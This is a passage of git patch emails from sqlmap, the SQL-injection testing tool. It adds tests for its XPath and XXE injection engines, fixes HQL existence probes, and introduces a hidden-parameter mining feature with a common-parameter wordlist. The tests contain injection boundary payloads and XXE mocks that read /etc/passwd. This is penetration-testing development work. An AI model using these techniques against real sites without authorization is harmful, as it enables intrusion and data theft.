+ + def spy(place, parameter, value): + sent.append(value) + return "TRUE-model-page" if "true()" in value else "FALSE-model-page" + + old = xpath._send + xpath._send = spy + try: + xpath.conf.parameters = {PLACE.GET: "q=x"} + xpath.conf.paramDict = {PLACE.GET: {"q": "x"}} + oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, xpath._extractionBase("origvalue", orBoundary)) + finally: + xpath._send = old + self.assertIsNotNone(oracle) + self.assertTrue(sent) + self.assertTrue(all(xpath.SENTINEL in p for p in sent), "calibration used a non-sentinel base: %r" % sent) + self.assertFalse(any("origvalue" in p for p in sent)) + + def test_transient_failure_on_true_bit_is_not_a_false_bit(self): + # A timeout/5xx on a TRUE predicate must NOT be cached as a false bit: resolveBit re-sends and + # recovers the correct TRUE, and a PERSISTENT failure aborts (InconclusiveError), never False. + from lib.core.enums import PLACE + from lib.utils.nonsql import InconclusiveError + orBoundary = xpath.Boundary("' or ", " and '1'='1", True) + base = xpath._extractionBase("x", orBoundary) + + state = {"armed": False, "failed": set()} + + def flaky(place, parameter, value): + page = "TRUE-model-page" if "true()" in value else "FALSE-model-page" + # once armed (post-build), the FIRST send of each probe fails transiently, then recovers + if state["armed"] and value not in state["failed"]: + state["failed"].add(value) + return None + return page + + old = xpath._send + xpath._send = flaky + try: + xpath.conf.parameters = {PLACE.GET: "q=x"} + xpath.conf.paramDict = {PLACE.GET: {"q": "x"}} + oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, base) # calibrates cleanly + self.assertIsNotNone(oracle) + + # a fresh TRUE probe whose FIRST send fails transiently must resolve to True (retry), never False + probe = xpath._makePayload(base, orBoundary, "true()") + "[1]" + state["armed"] = True + self.assertTrue(oracle.extract(probe)) + + # a PERSISTENTLY failing probe must raise InconclusiveError, never return False + xpath._send = lambda place, parameter, value: None + self.assertRaises(InconclusiveError, oracle.extract, probe + "Z") + finally: + xpath._send = old + + class TestExtraction(unittest.TestCase): def test_infer_value_mock(self): expected = "directory" @@ -289,6 +360,48 @@ def extract(self, payload): maxLen=32) self.assertEqual(fast, linear) + def test_inconclusive_oracle_aborts_value_not_fabricates(self): + # An oracle that stays INCONCLUSIVE (raises InconclusiveError, as resolveBit does after + # retries) must abort the value cleanly - _inferString returns None and _inferCount returns + # None (unknown) - rather than emitting a length/char/count chosen from an ambiguous bit. + from lib.utils.nonsql import InconclusiveError + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class InconclusiveOracle(object): + def extract(self, payload): + raise InconclusiveError() + + oracle = InconclusiveOracle() + self.assertIsNone(xpath._inferString(oracle, builder, "name(/*)", maxLen=32)) + # inconclusive count must be None (unknown), NEVER 0 - 0 would read as a leaf and fabricate text + self.assertIsNone(xpath._inferCount(oracle, builder, "/*", + lambda b, p, c: b.childCount(p, c), maxCount=8)) + self.assertIsNone(xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), maxLen=32)) + + def test_walk_tree_marks_partial_and_does_not_fabricate_text_on_unknown_count(self): + # name resolves (real lxml eval), but every child/attribute COUNT probe is inconclusive: the + # node must be marked partial, must NOT be treated as a leaf (no fabricated scalar text), and + # must not iterate phantom children + from lib.utils.nonsql import InconclusiveError + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class PartialCountOracle(object): + def extract(self, payload): + if "count(" in payload: + raise InconclusiveError() # child/attribute counts are ambiguous + return _xpath_eval(template, payload) > 0 # names/strings resolve normally + + node = xpath._walkTree(PartialCountOracle(), builder, "/*") + self.assertIsNotNone(node) + self.assertEqual(node["name"], "directory") + self.assertTrue(node["partial"]) + self.assertIsNone(node["text"]) # unknown child count must NOT fabricate leaf text + self.assertEqual(node["children"], []) + class TestBackendFingerprint(unittest.TestCase): def test_lxml(self): diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 736f8ece04f..48ef5301631 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -88,18 +88,62 @@ def test_existing_external_subset(self): self.assertEqual(out.count("' sequence inside a quoted entity value must NOT be taken as the subset close - the + # splice still lands inside the real internal subset and produces a single valid DOCTYPE + xml = 'y">]>z' + out = xxe._buildDoctype(xml, "r", self.SUBSET) + self.assertEqual(out.count("z")) + + +class TestScanDoctype(unittest.TestCase): + """Lexical DOCTYPE scanner: boundaries must be immune to quoted '>', comments and ']>' in values.""" + + def test_no_doctype(self): + self.assertIsNone(xxe._scanDoctype("x")) + + def test_content_start_skips_doctype_with_quoted_bracket(self): + # ']>' inside the entity value is NOT the subset end; content starts after the REAL '>' + xml = 'trap">]>real' + cs = xxe._contentStart(xml) + self.assertEqual(xml[cs:], "real") + + def test_content_start_skips_doctype_with_comment(self): + xml = ' not the end -->]>real' + self.assertEqual(xml[xxe._contentStart(xml):], "real") + + def test_text_node_count_ignores_dtd_bracket_in_value(self): + # the '>text<'-looking fragment is inside the DTD entity value, not a body text node + xml = 'x">]>luther' + self.assertEqual(xxe._textNodeCount(xml), 1) # only luther + class TestPlaceRef(unittest.TestCase): - def test_all_text_nodes(self): + def test_single_node_preserves_others(self): + # ONE location per call - every OTHER value stays intact (no whole-document destruction) out = xxe._placeRef("

onetwo

", "&e;") - self.assertEqual(out.count("&e;"), 2) - self.assertNotIn("one", out) - self.assertNotIn("two", out) - - def test_attributes_only_when_requested(self): - text = 'luther' - self.assertNotIn('id="&e;"', xxe._placeRef(text, "&e;")) # attrs off by default - self.assertIn('id="&e;"', xxe._placeRef(text, "&e;", attrs=True)) # attrs on + self.assertEqual(out.count("&e;"), 1) + self.assertIn("&e;", out) # default: first text node + self.assertIn("two", out) # second field preserved + + def test_index_sweeps_each_node(self): + xml = "

onetwo

" + self.assertEqual(xxe._textNodeCount(xml), 2) + out1 = xxe._placeRef(xml, "&e;", index=1) + self.assertIn("&e;
", out1) # second text node targeted + self.assertIn("one", out1) # first field preserved + + def test_attribute_seeded_only_as_fallback(self): + noText = '' # no leaf text node + self.assertNotIn('="&e;"', xxe._placeRef(noText, "&e;")) # attrs off -> no seeding + self.assertIn('="&e;"', xxe._placeRef(noText, "&e;", attrs=True)) # attrs on -> one attr seeded + withText = 'luther' + seeded = xxe._placeRef(withText, "&e;", attrs=True) + self.assertIn(">&e;<", seeded) # text node preferred over attr + self.assertIn('id="1"', seeded) # attribute preserved def test_xmlns_preserved(self): out = xxe._placeRef('x', "&e;", attrs=True) @@ -240,6 +284,25 @@ def singleString(self, data, content_type=None): finally: conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep self.assertIn("Parameter: XML body (PUT)", captured[0]) + self.assertIn("Type: XXE injection", captured[0]) # default vuln type + + def test_xxe_internal_entity_is_not_reported_as_xxe(self): + # internal-only general-entity expansion is a parser-configuration weakness, NOT confirmed + # XXE (which needs external resolution) - it must carry a distinct, weaker vuln type + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "POST", False + try: + xxe._report("DTD/internal general entity expansion enabled", "&e;", vulnType="XML parser configuration") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("Type: XML parser configuration", captured[0]) + self.assertNotIn("Type: XXE injection", captured[0]) class TestHarvestFiles(unittest.TestCase): @@ -298,6 +361,57 @@ def test_internal_reflected_positive(self): payload, _ = xxe._tryInternal("luther", "u", baseline="Hello, luther!") self.assertIsNotNone(payload) + def test_inband_read_rejects_html_escaped_entity_reflection(self): + # the app HTML-escapes the reflected entity reference (&;) between the markers: that is + # reflection, NOT an expanded file read - the random entity name survives de-escaping, so it + # must be rejected (the P0-5 false positive that fabricated 'file contents') + import re as _re + + def mock(body): + m = _re.search(r"x", "u", "/etc/passwd") + self.assertIsNone(content) + + def test_inband_read_accepts_genuine_expansion(self): + # a genuine file read: the requested path returns real content, a NONEXISTENT path returns + # something different -> the matched control passes and the content is accepted + import re as _re + + def mock(body): + mk = _re.search(r'(\w{8})&\w+;(\w{8})', body) + if not (mk and "SYSTEM" in body and "php://filter" not in body): + return "nope" + if "/etc/passwd" in body: + return "%sroot:x:0:0:root:/root:/bin/bash%s" % (mk.group(1), mk.group(2)) + return "%s%s" % (mk.group(1), mk.group(2)) # nonexistent path -> empty between markers + + xxe._send = mock + content, _ = xxe._tryInbandFileRead("x", "u", "/etc/passwd") + self.assertEqual(content, "root:x:0:0:root:/root:/bin/bash") + + def test_inband_read_rejects_path_independent_placeholder(self): + # P0-2: a gateway returns a FIXED placeholder for every path (real + nonexistent). The matched + # control sees identical content and rejects it as not-genuine file contents. + import re as _re + + def mock(body): + mk = _re.search(r'(\w{8})&\w+;(\w{8})', body) + if not (mk and "SYSTEM" in body and "php://filter" not in body): + return "nope" + return "%s[external entity disabled]%s" % (mk.group(1), mk.group(2)) # same for ANY path + + xxe._send = mock + content, _ = xxe._tryInbandFileRead("x", "u", "/etc/passwd") + self.assertIsNone(content) + def test_internal_echo_rejected(self): # endpoint mirrors the raw body back (never parses) -> must NOT be a hit xxe._send = lambda body: "You sent: %s" % body @@ -309,6 +423,30 @@ def test_internal_baseline_contains_sentinel_rejected(self): payload, _ = xxe._tryInternal("luther", "u", baseline="already %s here" % xxe.SENTINEL) self.assertIsNone(payload) + def test_location_sweep_finds_non_first_leaf(self): + # The first leaf is inside which the (mock) app validates and strips; only the entity ref + # placed in the SECOND leaf () survives and reflects. The sweep must try location #1 and the + # engine must latch it so downstream read tiers reuse it - a fixed index=0 would be a false neg. + xml = "7luther" + self.assertEqual(xxe._textNodeCount(xml), 2) + + def mock(body): + # reflect the sentinel only when the entity ref sits in the second leaf (&ent;); + # a ref in the first leaf (&ent;) is validated away and never reflects + return ("Hello, %s!" % xxe.SENTINEL) if re.search(r"\s*&\w+;", body) else "Hello, !" + + xxe._send = mock + xxe._PLACE_INDEX = 0 + hit = None + for i in xxe._sweepLocations(xml): + payload, _ = xxe._tryInternal(xml, "u", baseline="Hello, luther!", index=i) + if payload: + hit = i + break + self.assertEqual(hit, 1) + # location #0 alone (the default) must NOT reflect -> proves the sweep was necessary + self.assertIsNone(xxe._tryInternal(xml, "u", baseline="Hello, luther!", index=0)[0]) + def test_error_based_positive(self): xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL payload, page = xxe._tryError("x", "u") From f129d3ac760ba84354176cad6ac2c9c0f0e7e64a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 23 Jul 2026 12:21:10 +0200 Subject: [PATCH 834/853] Fixing CI/CD errors --- lib/core/settings.py | 2 +- lib/techniques/nosql/inject.py | 2 -- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0d4aa90689c..8cbbf896e04 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.177" +VERSION = "1.10.7.178" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index 484ef9fd63a..6b41d349d60 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -23,8 +23,6 @@ from lib.utils.nonsql import InconclusiveError from lib.utils.nonsql import INCONCLUSIVE_MARK from lib.utils.nonsql import resolveBit -from lib.utils.nonsql import decide as _decide -from lib.utils.nonsql import Decision as _Decision from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger From fcec8ef89ee96187840289e5c8561353f8995106 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 23 Jul 2026 12:56:24 +0200 Subject: [PATCH 835/853] Fixing CI/CD errors --- extra/vulnserver/vulnserver.py | 4 ++++ lib/core/settings.py | 2 +- lib/techniques/hql/inject.py | 17 +++++++++++++++-- 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index e1a43886457..e82f3850647 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -266,6 +266,10 @@ def _hql_atom(atom): if match: return match.group(1) == match.group(2) + match = re.match(r"^(\d+)\s*=\s*(\d+)$", atom) # numeric literal 1=1 / 1=2 + if match: + return match.group(1) == match.group(2) + match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X' if match: return HQL_RECORD["name"] == match.group(1) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8cbbf896e04..bc6c5821d29 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.178" +VERSION = "1.10.7.179" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py index 7d2d0745e13..f880e497af4 100644 --- a/lib/techniques/hql/inject.py +++ b/lib/techniques/hql/inject.py @@ -348,6 +348,19 @@ def _shortEntity(entity): return re.split(r"[.$]", entity)[-1] if entity else entity +def _exists(truth, predicate): + """Existence probe helper: an unmapped entity/attribute makes the ORM query fail + to compile (error page), which for a yes/no existence question is a definitive + 'no'. Unlike value bisection - where a transient error must stay inconclusive so + it never freezes a wrong bit - an inconclusive/error existence probe reads as + false (matching the pre-recalibration oracle semantics these probes rely on).""" + + try: + return truth(predicate) + except InconclusiveError: + return False + + def _bruteEntities(truth): """Recover mapped entity names through the boolean oracle alone (no reflected diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one @@ -356,7 +369,7 @@ def _bruteEntities(truth): retVal = [] for entity in HQL_COMMON_ENTITIES: - if truth("EXISTS(SELECT 1 FROM %s _h)" % entity): + if _exists(truth, "EXISTS(SELECT 1 FROM %s _h)" % entity): retVal.append(entity) return retVal @@ -370,7 +383,7 @@ def _enumFields(truth, entity): if len(fields) >= HQL_MAX_FIELDS: break predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity) - if truth(predicate): + if _exists(truth, predicate): fields.append(field) logger.info("identified mapped attribute: '%s'" % field) return fields From ffe124f3e0f2e01aa18a779c249b5f424efd8594 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 23 Jul 2026 13:08:18 +0200 Subject: [PATCH 836/853] Some more fixing CI/CD errors --- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index bc6c5821d29..e7b8a3cf4b3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.179" +VERSION = "1.10.7.180" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 37f20aef01b..c8289a29ebb 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -92,7 +92,7 @@ def vulnTest(tests=None, label="vuln"): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction - ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe From 075d009bb7386e3fc5d07f6f15de51bccc209ce6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 24 Jul 2026 14:27:05 +0200 Subject: [PATCH 837/853] Adding switch --mine-params --- data/txt/common-params.txt | 243 +++++++++++++++++++++++++++++++++++ lib/controller/controller.py | 4 + lib/core/common.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 5 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/utils/paraminer.py | 200 ++++++++++++++++++++++++++++ 8 files changed, 457 insertions(+), 1 deletion(-) create mode 100644 data/txt/common-params.txt create mode 100644 lib/utils/paraminer.py diff --git a/data/txt/common-params.txt b/data/txt/common-params.txt new file mode 100644 index 00000000000..81b7bc46329 --- /dev/null +++ b/data/txt/common-params.txt @@ -0,0 +1,243 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +id +page +q +query +search +s +keyword +keywords +name +username +user +uid +userid +email +mail +pass +password +pwd +token +key +apikey +api_key +access_token +auth +session +sid +sessionid +lang +language +locale +country +region +city +zip +sort +order +orderby +dir +direction +filter +category +cat +type +kind +class +group +tag +tags +status +state +action +act +cmd +command +op +operation +mode +method +func +function +callback +jsonp +format +output +view +tab +step +stage +debug +test +dev +admin +role +level +priv +file +filename +path +dir +folder +doc +document +url +uri +link +href +redirect +redirect_uri +return +returnurl +return_url +next +target +dest +destination +goto +continue +ref +referer +referrer +source +src +from +to +date +year +month +day +time +timestamp +start +end +begin +finish +limit +offset +count +num +number +size +length +width +height +amount +price +qty +quantity +value +val +data +input +content +text +msg +message +body +title +subject +description +desc +comment +note +code +hash +sig +signature +csrf +csrf_token +csrftoken +nonce +salt +enc +encrypt +decrypt +base64 +json +xml +raw +echo +reflect +show +hide +display +render +template +tpl +theme +skin +style +color +font +image +img +photo +avatar +icon +banner +video +audio +media +attachment +upload +download +export +import +backup +restore +sync +refresh +reload +reset +clear +flush +purge +enable +disable +active +enabled +visible +public +private +locked +verified +confirmed +approved +product +item +sku +model +brand +vendor +seller +store +shop +cart +basket +checkout +payment +invoice +receipt +transaction +account +profile +member +customer +client +company +organization +org +department +team +project +task +job +event +booking +reservation +appointment +schedule +calendar diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 48f137e9a2b..3ec482316a4 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -529,6 +529,10 @@ def start(): checkWaf() + if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)): + from lib.utils.paraminer import mineParameters + mineParameters() + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile): singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only") diff --git a/lib/core/common.py b/lib/core/common.py index 6b70d688150..9220dcb9d81 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1589,6 +1589,7 @@ def setPaths(rootPath): paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") + paths.COMMON_PARAMETERS = os.path.join(paths.SQLMAP_TXT_PATH, "common-params.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 504182e22d7..8bf6951d2c5 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -241,6 +241,7 @@ "eta": "boolean", "flushSession": "boolean", "forms": "boolean", + "mineParams": "boolean", "freshQueries": "boolean", "googlePage": "integer", "harFile": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index e7b8a3cf4b3..d91c207f441 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.180" +VERSION = "1.10.7.181" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -92,6 +92,9 @@ LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 +# Number of candidate names probed per request while mining for hidden parameters ('--mine-params') +PARAMETER_MINING_BUCKET_SIZE = 25 + # For filling in case of dumb push updates DUMMY_JUNK = "Phah5jue" diff --git a/lib/core/testing.py b/lib/core/testing.py index c8289a29ebb..eaecba780fb 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -66,6 +66,7 @@ def vulnTest(tests=None, label="vuln"): ("-u --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat ("-u -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof + ("-u --mine-params --flush-session --technique=B", ("mining for hidden GET parameters", "found hidden parameter 'id'", "held back parameter(s) that break the base request", "Parameter: id (GET)", "Type: boolean-based blind")), # --mine-params: discover an injectable parameter absent from a bare URL, hold back the raw-SQL sink that would shadow it, then confirm the injection on the mined 'id' ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index bc838a88dc5..5bbc8c51cc9 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -721,6 +721,9 @@ def cmdLineParser(argv=None): general.add_argument("--forms", dest="forms", action="store_true", help="Parse and test forms on target URL") + general.add_argument("--mine-params", dest="mineParams", action="store_true", + help="Mine for hidden (unlinked) GET parameters to test") + general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", help="Ignore query results stored in session file") diff --git a/lib/utils/paraminer.py b/lib/utils/paraminer.py new file mode 100644 index 00000000000..a6a67f974b6 --- /dev/null +++ b/lib/utils/paraminer.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib + +from lib.core.compat import xrange +from lib.core.common import getFileItems +from lib.core.common import paramToDict +from lib.core.common import randomStr +from lib.core.common import singleTimeWarnMessage +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PLACE +from lib.core.settings import DIFF_TOLERANCE +from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH +from lib.core.settings import PARAMETER_MINING_BUCKET_SIZE +from lib.request.connect import Connect as Request + +# Benign, broadly-stable value used both to check whether a discovered parameter is safe to add and +# as its seed during testing (a random value would error out an integer/id context and defeat inference) +PROBE_VALUE = "1" + +def _canary(): + return randomStr(10, lowercase=True) + +def _fetch(get): + """ + Requests the target with the given GET query string, returning a (page, HTTP code) pair. + """ + + try: + page, _, code = Request.getPage(get=get or None, silent=True, raise404=False) + except Exception: + page, code = None, None + + return (page or ""), code + +def _ratio(first, second): + """ + Similarity of two response bodies, mirroring the core page comparison (see comparison.py): an + exact match, a length ratio for oversized bodies, otherwise difflib's quick_ratio(). + """ + + if not first or not second: + return 0.0 + + if first == second: + return 1.0 + + if any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (first, second)): + ratio = 1.0 * len(first) / len(second) + return ratio if ratio <= 1 else 1.0 / ratio + + return difflib.SequenceMatcher(None, first, second).quick_ratio() + +def _differs(page, base, floor): + """ + True when 'page' departs from the baseline by more than the target's own dynamic jitter ('floor'). + """ + + return bool(page) and _ratio(page, base) < floor - DIFF_TOLERANCE + +def _confirm(baseGet, name, base, floor): + """ + Confirms a single candidate in isolation with two differently-valued probes. Returns 'reflected' + when a value is echoed back (caught here even if a shared bucket hid it behind a preceding + parameter), 'behavioral' when both probes resemble each other yet depart from the baseline (its + presence, not its value, matters), otherwise None. + """ + + def _get(value): + pair = "%s=%s" % (name, value) + return "%s&%s" % (baseGet, pair) if baseGet else pair + + canaries = (_canary(), _canary()) + first, second = _fetch(_get(canaries[0]))[0], _fetch(_get(canaries[1]))[0] + + if not (first and second): + return None + + if (canaries[0] in first or canaries[1] in second) and not any(_ in base for _ in canaries): + return "reflected" + + if _ratio(first, second) < floor - DIFF_TOLERANCE: # value-dependent yet not reflected -> unreliable + return None + + if _differs(first, base, floor) and _differs(second, base, floor): + return "behavioral" + + return None + +def _chunks(sequence, size): + for i in xrange(0, len(sequence), size): + yield sequence[i:i + size] + +def _discover(candidates, baseGet, base, floor): + """ + Probes candidate names in buckets (one shared request per bucket, each name carrying its own + random canary) and returns the confirmed ones as (name, reason) pairs. Reflection is resolved + straight from the bucket response; the rest are confirmed individually only when the bucket + actually moved the response, so a target that ignores every candidate stays cheap. + """ + + found = [] + + for chunk in _chunks(candidates, PARAMETER_MINING_BUCKET_SIZE): + canaries = dict((name, _canary()) for name in chunk) + query = "&".join("%s=%s" % (name, canaries[name]) for name in chunk) + page = _fetch("%s&%s" % (baseGet, query) if baseGet else query)[0] + + if not page: + continue + + pending = [] + for name in chunk: + if canaries[name] in page and canaries[name] not in base: + found.append((name, "reflected")) + else: + pending.append(name) + + if pending and _differs(page, base, floor): + for name in pending: + reason = _confirm(baseGet, name, base, floor) + if reason: + found.append((name, reason)) + + return found + +def _commit(found, baseGet, baseCode): + """ + Adds the discovered parameters (seeded with PROBE_VALUE) to the GET test scope. One that turns + the request into a server error the baseline did not have would shadow and corrupt the testing + of every sibling parameter, so it is reported and held back rather than degrading detection. + """ + + safe, disruptive = [], [] + + for name, _ in found: + pair = "%s=%s" % (name, PROBE_VALUE) + code = _fetch("%s&%s" % (baseGet, pair) if baseGet else pair)[1] + if code is not None and code >= 